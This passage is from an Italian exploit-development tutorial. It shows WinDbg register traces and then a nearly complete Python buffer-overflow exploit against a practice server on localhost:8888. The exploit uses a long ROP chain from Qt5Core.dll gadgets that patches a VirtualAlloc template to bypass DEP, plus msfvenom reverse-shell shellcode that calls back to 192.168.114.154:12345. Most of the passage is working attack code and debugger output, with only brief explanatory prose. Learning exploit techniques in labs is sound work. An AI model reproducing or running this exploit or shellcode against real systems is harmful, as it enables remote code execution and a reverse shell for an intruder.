eax=00a3d000 ebx=41414141 ecx=00a3d3c4 edx=771927f0 esi=41414141 edi=00a3d3d4
eip=75397261 esp=00a3d3f4 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
KERNELBASE!VirtualAlloc+0x51:
75397261 c21000 ret 10h
0:000> p
eax=00a3d000 ebx=41414141 ecx=00a3d3c4 edx=771927f0 esi=41414141 edi=00a3d3d4
eip=00a3d664 esp=00a3d408 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
00a3d664 42 inc edx
0:000> p
eax=00a3d000 ebx=41414141 ecx=00a3d3c4 edx=771927f1 esi=41414141 edi=00a3d3d4
eip=00a3d665 esp=00a3d408 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
00a3d665 42 inc edx
0:000>
eax=00a3d000 ebx=41414141 ecx=00a3d3c4 edx=771927f2 esi=41414141 edi=00a3d3d4
eip=00a3d666 esp=00a3d408 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
00a3d666 42 inc edx
I nostri 42 vengono eseguiti, non ci resta che sostituirli con dei NOP e al posto della variabile shellcode lo andiamo a creare con msfvenom.
Aggiorno lo script con le ultime variabili.
from struct import pack
import socket
#\x00\x0A\x0D
TARGET_IP = "127.0.0.1"
TARGET_PORT = 8888
target = (TARGET_IP, TARGET_PORT) # vulnserver
crash = 2000 # change me
offset = 1052
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.114.154 LPORT=12345 -f python –e x86/shikata_ga_nai EXITFUNC=thread -v shellcode -b "\x00\x0a\x0d"
shellcode = b""
shellcode += b"\xd9\xc9\xd9\x74\x24\xf4\x5a\xbe\xdb\xbe\xa4"
shellcode += b"\x98\x2b\xc9\xb1\x52\x31\x72\x17\x83\xc2\x04"
shellcode += b"\x03\xa9\xad\x46\x6d\xb1\x3a\x04\x8e\x49\xbb"
shellcode += b"\x69\x06\xac\x8a\xa9\x7c\xa5\xbd\x19\xf6\xeb"
.......
shellcode += b"\x33\x5b\x31\x7a\x2c\x0e\x35\x29\x4d\x1b"
shellcode += b"\x90" * 500
rop_nop = pack("<I",0x68ee5174) # RETN
#step 1 - saving esp to eax,edi
rop = pack("<I",0x68c7f391) # PUSH ESP # POP EBX # POP ESI # RETN
rop += pack('<L',0x41414141) # padding for pop ebp
rop += pack("<I",0x68bbd10f) # MOV EAX,EBX # POP EBX # RETN 0x04
rop += pack('<L',0x41414141) # padding for pop ebp
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04
rop += pack("<I",0x68f37dbb) # MOV EDI,EAX # RETN ** [Qt5Core.dll] **
#step 2 - jumping over template
rop += pack("<I",0x68b402ce) # ADD ESP,1C # RETN ** [Qt5Core.dll] **
#template
rop += pack("<L", 0x690398A0) # dummy VirutalAlloc Address (pointer to VirtualProtect)
rop += pack("<L", 0x55555555) # Shellcode Return Address (pointer to shellcode address)
rop += pack("<L", 0x44444444) # # dummy Shellcode Address (pointer to shellcode address)
rop += pack("<L", 0x33333333) # dummy dwSize - 0x1
rop += pack("<L", 0x22222222) # # dummy flAllocationType - 0x1000
rop += pack("<L", 0x11111111) # dummy flProtect - 0x40
rop += b"\x90"*4 # padding
# step 3 - patching address virtualprotect
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68f26a35) # INC EAX # RETN
rop += pack('<L', 0x68be726b) # xchg eax, ecx; ret;
rop += pack('<L', 0x6ab445f9) # mov eax, ecx; ret;
rop += pack('<L', 0x6aa8d803) # mov eax, dword ptr [eax]; ret;
rop += pack('<L', 0x6aa8d803) # mov eax, dword ptr [eax]; ret;
rop += pack('<L', 0x68c7ffe6) # mov dword ptr [ecx], eax; ret 4;
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04
# patching return address
rop += pack('<L', 0x68fe0383) # INC ECX # RETN
rop += pack('<L', 0x68fe0383) # INC ECX # RETN
rop += pack('<L', 0x68fe0383) # INC ECX # RETN
rop += pack('<L', 0x68fe0383) # INC ECX # RETN
rop += pack('<L', 0x6ab445f9) # mov eax, ecx; ret;
rop += pack('<L', 0x68a8174b) # XOR EDX,EDX # RETN
rop += pack('<L', 0x68ae2632) # POP EDX # RETN
rop += pack('<L', 0xfffffd90) # -624
rop += pack('<L', 0x68bd5fe4) # NEG EDX # RETN 0x0C
rop += rop_nop
rop += rop_nop
rop += rop_nop
rop += rop_nop
rop += pack('<L', 0x68ad91ab) # add eax, edx; ret;
rop += pack('<L', 0x68c7ffe6) # mov dword ptr [ecx], eax; ret 4;
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04
#patching lpaddress
rop += pack('<L', 0x68fe0383) # INC ECX # RETN
rop += pack('<L', 0x68fe0383) # INC ECX # RETN
rop += pack('<L', 0x68fe0383) # INC ECX # RETN
rop += pack('<L', 0x68fe0383) # INC ECX # RETN
rop += pack('<L', 0x68c7ffe6) # mov dword ptr [ecx], eax; ret 4;
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04
#patching dWsize
rop += pack('<L', 0x68fe0383) # INC ECX # RETN
rop += pack('<L', 0x68fe0383) # INC ECX # RETN
rop += pack('<L', 0x68fe0383) # INC ECX # RETN
rop += pack('<L', 0x68fe0383) # INC ECX # RETN
rop += pack('<L', 0x68c6092e) # XOR EAX,EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68f21874) # POP EAX # RETN **
rop += pack('<L', 0xffffffff)
rop += pack('<L', 0x68cef5b2) # NEG EAX # RETN
rop += pack('<L', 0x68c7ffe6) # mov dword ptr [ecx], eax; ret 4;
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04
#patching flAllocationType - 0x1000
rop += pack('<L', 0x68fe0383) # INC ECX # RETN
rop += pack('<L', 0x68fe0383) # INC ECX # RETN
rop += pack('<L', 0x68fe0383) # INC ECX # RETN
rop += pack('<L', 0x68fe0383) # INC ECX # RETN
rop += pack('<L', 0x68c6092e) # XOR EAX,EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68f21874) # POP EAX # RETN **
rop += pack('<L', 0xffffefff) # -1001
rop += pack('<L', 0x68cef5b2) # NEG EAX # RETN
rop += pack('<L', 0x68ab39b8) # DEC EAX # RETN
rop += pack('<L', 0x68c7ffe6) # mov dword ptr [ecx], eax; ret 4;
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04
#patching flProtect - 0x40
rop += pack('<L', 0x68fe0383) # INC ECX # RETN
rop += pack('<L', 0x68fe0383) # INC ECX # RETN
rop += pack('<L', 0x68fe0383) # INC ECX # RETN
rop += pack('<L', 0x68fe0383) # INC ECX # RETN
rop += pack('<L', 0x68c6092e) # XOR EAX,EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68f21874) # POP EAX # RETN **
rop += pack('<L', 0xffffffc0) # -40
rop += pack('<L', 0x68cef5b2) # NEG EAX # RETN
rop += pack('<L', 0x68c7ffe6) # mov dword ptr [ecx], eax; ret 4;
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04
#jumping to esp
rop += pack('<L', 0x68be726b) # xchg eax, ecx; ret;
rop += pack('<L',0x68f9433e) # DEC EAX # RETN
rop += pack('<L',0x68f9433e) # DEC EAX # RETN
rop += pack('<L',0x68f9433e) # DEC EAX # RETN
rop += pack('<L',0x68f9433e) # DEC EAX # RETN
rop += pack('<L',0x68f9433e) # DEC EAX # RETN
rop += pack('<L',0x68f9433e) # DEC EAX # RETN
rop += pack('<L',0x68f9433e) # DEC EAX # RETN
rop += pack('<L',0x68f9433e) # DEC EAX # RETN
rop += pack('<L',0x68f9433e) # DEC EAX # RETN
rop += pack('<L',0x68f9433e) # DEC EAX # RETN
rop += pack('<L',0x68f9433e) # DEC EAX # RETN
rop += pack('<L',0x68f9433e) # DEC EAX # RETN
rop += pack('<L',0x68f9433e) # DEC EAX # RETN
rop += pack('<L',0x68f9433e) # DEC EAX # RETN
rop += pack('<L',0x68f9433e) # DEC EAX # RETN
rop += pack('<L',0x68f9433e) # DEC EAX # RETN
rop += pack('<L',0x68f9433e) # DEC EAX # RETN
rop += pack('<L',0x68f9433e) # DEC EAX # RETN
rop += pack('<L',0x68f9433e) # DEC EAX # RETN
rop += pack('<L',0x68f9433e) # DEC EAX # RETN
rop += pack('<L',0x68aef5d0) # XCHG EAX,ESP # RETN
rop += b"\x90" * (700-len(rop))
payload = b"A"*offset
payload += rop_nop
payload += rop
payload += shellcode
payload += b"C"*(crash - len(payload))
with socket.create_connection(target) as sock:
sent = sock.send(payload)
print(f"sent {sent} bytes")
In questo articolo abbiamo visto anche il template di Virtual Alloc, che è in realtà molto simile a Virtual Protect. Nei prossimi articoli vedremo WriteProcessMemory, sia con custom shellcode che con sostituizione dinamica dei bad char.
Alcune risorse utili: